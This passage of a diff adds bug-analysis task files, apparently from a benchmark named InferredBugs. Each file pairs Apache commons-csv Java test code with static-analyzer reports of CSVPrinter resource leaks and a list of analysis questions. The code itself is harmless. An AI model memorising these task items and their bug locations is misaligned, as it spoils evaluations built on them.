+        final int sz = r.nextInt(20);
+        // sz = r.nextInt(3);
+        final char[] buf = new char[sz];
+        for (int i = 0; i < sz; i++) {
+            // stick in special chars with greater frequency
+            char ch;
+            final int what = r.nextInt(20);
+            switch (what) {
+                case 0:
+                    ch = '\r';
+                    break;
+                case 1:
+                    ch = '\n';
+                    break;
+                case 2:
+                    ch = '\t';
+                    break;
+                case 3:
+                    ch = '\f';
+                    break;
+                case 4:
+                    ch = ' ';
+                    break;
+                case 5:
+                    ch = ',';
+                    break;
+                case 6:
+                    ch = '"';
+                    break;
+                case 7:
+                    ch = '\'';
+                    break;
+                case 8:
+                    ch = '\\';
+                    break;
+                default:
+                    ch = (char) r.nextInt(300);
+                    break;
+                // default: ch = 'a'; break;
+            }
+            buf[i] = ch;
+        }
+        return new String(buf);
+    }
+
+    @Test
+    public void testDisabledComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printComment("This is a comment");
+
+        assertEquals("", sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }), Arrays.asList(new String[] { "r2c1", "r2c2" }) });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }),
+                Arrays.asList(new String[] { "r2c1", "r2c2" }) }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testJdbcPrinter() throws IOException, ClassNotFoundException, SQLException {
+        final StringWriter sw = new StringWriter();
+        Class.forName("org.h2.Driver");
+        final Connection connection = DriverManager.getConnection("jdbc:h2:mem:my_test;", "sa", "");
+        try {
+            final Statement stmt = connection.createStatement();
+            stmt.execute("CREATE TABLE TEST(ID INT PRIMARY KEY, NAME VARCHAR(255))");
+            stmt.execute("insert into TEST values(1, 'r1')");
+            stmt.execute("insert into TEST values(2, 'r2')");
+            final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+            printer.printRecords(stmt.executeQuery("select ID, NAME from TEST"));
+            assertEquals("1,r1" + recordSeparator + "2,r2" + recordSeparator, sw.toString());
+        } finally {
+            connection.close();
+        }
+    }
+
+    @Test
+    public void testMultiLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment\non multiple lines");
+
+        assertEquals("# This is a comment" + recordSeparator + "# on multiple lines" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter3() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a, b", "b ");
+        assertEquals("\"a, b\",\"b \"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter4() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\"c");
+        assertEquals("a,\"b\"\"c\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter5() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\nc");
+        assertEquals("a,\"b\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter6() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\r\nc");
+        assertEquals("a,\"b\r\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter7() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\\c");
+        assertEquals("a,b\\c" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrintNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", null, "b");
+        assertEquals("a,,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteAll() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.ALL).build());
+        printer.printRecord("a", "b\nc", "d");
+        assertEquals("\"a\",\"b\nc\",\"d\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteNonNumeric() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.NON_NUMERIC).build());
+        printer.printRecord("a", "b\nc", Integer.valueOf(1));
+        assertEquals("\"a\",\"b\nc\",1" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testRandom() throws Exception {
+        final int iter = 10000;
+        doRandom(CSVFormat.DEFAULT, iter);
+        doRandom(CSVFormat.EXCEL, iter);
+        doRandom(CSVFormat.MYSQL, iter);
+    }
+
+    @Test
+    public void testSingleLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment");
+
+        assertEquals("# This is a comment" + recordSeparator, sw.toString());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.CSVPrinter` acquired to `printer` by call to `new()` at line 248 is not released after line 249.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVPrinterTest.testPrinter3()
+
+### Procedure Id:
+org.apache.commons.csv.CSVPrinterTest.testPrinter3():void.e5f36d470e5082cf8397c5e1162bff86
+
+### File:
+src/test/java/org/apache/commons/csv/CSVPrinterTest.java
+
+### Key:
+CSVPrinterTest.java|testPrinter3|RESOURCE_LEAK
+
+### Node Key:
+0fb8a1c0ca4d50e67c93620b0e0bccf7
+
+### Hash:
+a9375bf00ff3edbc35b64380f07dcecc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6407/instruction.md b/inferredbugs-6407/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c10e5f16ed60965baf627fd4dcc069195c33a38f
--- /dev/null
+++ b/inferredbugs-6407/instruction.md
@@ -0,0 +1,400 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+
+import org.junit.Test;
+
+/**
+ * 
+ * 
+ * @version $Id$
+ */
+public class CSVPrinterTest {
+
+    public static String printable(final String s) {
+        final StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < s.length(); i++) {
+            final char ch = s.charAt(i);
+            if (ch <= ' ' || ch >= 128) {
+                sb.append("(").append((int) ch).append(")");
+            } else {
+                sb.append(ch);
+            }
+        }
+        return sb.toString();
+    }
+
+    String recordSeparator = CSVFormat.DEFAULT.getRecordSeparator();
+
+    public void doOneRandom(final CSVFormat format) throws Exception {
+        final Random r = new Random();
+
+        final int nLines = r.nextInt(4) + 1;
+        final int nCol = r.nextInt(3) + 1;
+        // nLines=1;nCol=2;
+        final String[][] lines = new String[nLines][];
+        for (int i = 0; i < nLines; i++) {
+            final String[] line = new String[nCol];
+            lines[i] = line;
+            for (int j = 0; j < nCol; j++) {
+                line[j] = randStr();
+            }
+        }
+
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+
+        for (int i = 0; i < nLines; i++) {
+            // for (int j=0; j<lines[i].length; j++) System.out.println("### VALUE=:" + printable(lines[i][j]));
+            printer.printRecord((Object[])lines[i]);
+        }
+
+        printer.flush();
+        printer.close();
+        final String result = sw.toString();
+        // System.out.println("### :" + printable(result));
+
+        final CSVParser parser = new CSVParser(result, format);
+        final List<CSVRecord> parseResult = parser.getRecords();
+
+        Utils.compare("Printer output :" + printable(result), lines, parseResult);
+    }
+
+    public void doRandom(final CSVFormat format, final int iter) throws Exception {
+        for (int i = 0; i < iter; i++) {
+            doOneRandom(format);
+        }
+    }
+
+    public String randStr() {
+        final Random r = new Random();
+
+        final int sz = r.nextInt(20);
+        // sz = r.nextInt(3);
+        final char[] buf = new char[sz];
+        for (int i = 0; i < sz; i++) {
+            // stick in special chars with greater frequency
+            char ch;
+            final int what = r.nextInt(20);
+            switch (what) {
+                case 0:
+                    ch = '\r';
+                    break;
+                case 1:
+                    ch = '\n';
+                    break;
+                case 2:
+                    ch = '\t';
+                    break;
+                case 3:
+                    ch = '\f';
+                    break;
+                case 4:
+                    ch = ' ';
+                    break;
+                case 5:
+                    ch = ',';
+                    break;
+                case 6:
+                    ch = '"';
+                    break;
+                case 7:
+                    ch = '\'';
+                    break;
+                case 8:
+                    ch = '\\';
+                    break;
+                default:
+                    ch = (char) r.nextInt(300);
+                    break;
+                // default: ch = 'a'; break;
+            }
+            buf[i] = ch;
+        }
+        return new String(buf);
+    }
+
+    @Test
+    public void testDisabledComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printComment("This is a comment");
+
+        assertEquals("", sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }), Arrays.asList(new String[] { "r2c1", "r2c2" }) });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }),
+                Arrays.asList(new String[] { "r2c1", "r2c2" }) }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testJdbcPrinter() throws IOException, ClassNotFoundException, SQLException {
+        final StringWriter sw = new StringWriter();
+        Class.forName("org.h2.Driver");
+        final Connection connection = DriverManager.getConnection("jdbc:h2:mem:my_test;", "sa", "");
+        try {
+            final Statement stmt = connection.createStatement();
+            stmt.execute("CREATE TABLE TEST(ID INT PRIMARY KEY, NAME VARCHAR(255))");
+            stmt.execute("insert into TEST values(1, 'r1')");
+            stmt.execute("insert into TEST values(2, 'r2')");
+            final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+            printer.printRecords(stmt.executeQuery("select ID, NAME from TEST"));
+            assertEquals("1,r1" + recordSeparator + "2,r2" + recordSeparator, sw.toString());
+        } finally {
+            connection.close();
+        }
+    }
+
+    @Test
+    public void testMultiLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment\non multiple lines");
+
+        assertEquals("# This is a comment" + recordSeparator + "# on multiple lines" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter3() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a, b", "b ");
+        assertEquals("\"a, b\",\"b \"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter4() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\"c");
+        assertEquals("a,\"b\"\"c\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter5() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\nc");
+        assertEquals("a,\"b\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter6() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\r\nc");
+        assertEquals("a,\"b\r\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter7() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\\c");
+        assertEquals("a,b\\c" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrintNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", null, "b");
+        assertEquals("a,,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteAll() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.ALL).build());
+        printer.printRecord("a", "b\nc", "d");
+        assertEquals("\"a\",\"b\nc\",\"d\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteNonNumeric() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.NON_NUMERIC).build());
+        printer.printRecord("a", "b\nc", Integer.valueOf(1));
+        assertEquals("\"a\",\"b\nc\",1" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testRandom() throws Exception {
+        final int iter = 10000;
+        doRandom(CSVFormat.DEFAULT, iter);
+        doRandom(CSVFormat.EXCEL, iter);
+        doRandom(CSVFormat.MYSQL, iter);
+    }
+
+    @Test
+    public void testSingleLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment");
+
+        assertEquals("# This is a comment" + recordSeparator, sw.toString());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.CSVPrinter` acquired to `printer` by call to `new()` at line 147 is not released after line 148.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVPrinterTest.testDisabledComment()
+
+### Procedure Id:
+org.apache.commons.csv.CSVPrinterTest.testDisabledComment():void.929d9c723601f34e28c0580ed36fb76b
+
+### File:
+src/test/java/org/apache/commons/csv/CSVPrinterTest.java
+
+### Key:
+CSVPrinterTest.java|testDisabledComment|RESOURCE_LEAK
+
+### Node Key:
+3821ccc1fe016266c26ff3d1e7f13420
+
+### Hash:
+650ed91245e9619a1a81f13f416594fc
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6409/instruction.md b/inferredbugs-6409/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..445a6444d387945794f450aa931f1e2e1987153a
--- /dev/null
+++ b/inferredbugs-6409/instruction.md
@@ -0,0 +1,812 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 103
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = CSVParser.parseString(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = CSVParser.parseString(CSVINPUT, CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = CSVParser.parseString("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = CSVParser.parseString("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
